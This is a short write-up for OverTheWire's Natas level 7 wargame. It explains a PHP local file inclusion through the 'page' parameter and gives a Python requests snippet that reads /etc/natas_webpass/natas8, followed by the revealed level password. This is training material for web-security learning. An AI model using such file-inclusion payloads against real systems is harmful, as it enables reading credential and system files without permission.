Writeups OverTheWireNatasWebLFIPHP

Natas 7 Writeup - OverTheWire

Writeup for Natas level 7 from OverTheWire: local file inclusion (LFI) via a page parameter.

Contents

Wargame: Natas

Level: 7

Category: Web Security

Description

The navigation links use ?page=home and ?page=about. The PHP script passes this parameter directly to include(). Supplying an absolute path reads arbitrary files, including the password file.

Overview

Solution

params = {"page": "/etc/natas_webpass/natas8"}
response = requests.get(url, auth=("natas7", current_password), params=params)
result = response.text.strip().splitlines()[-1].strip()

Password

a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

← Back to Blog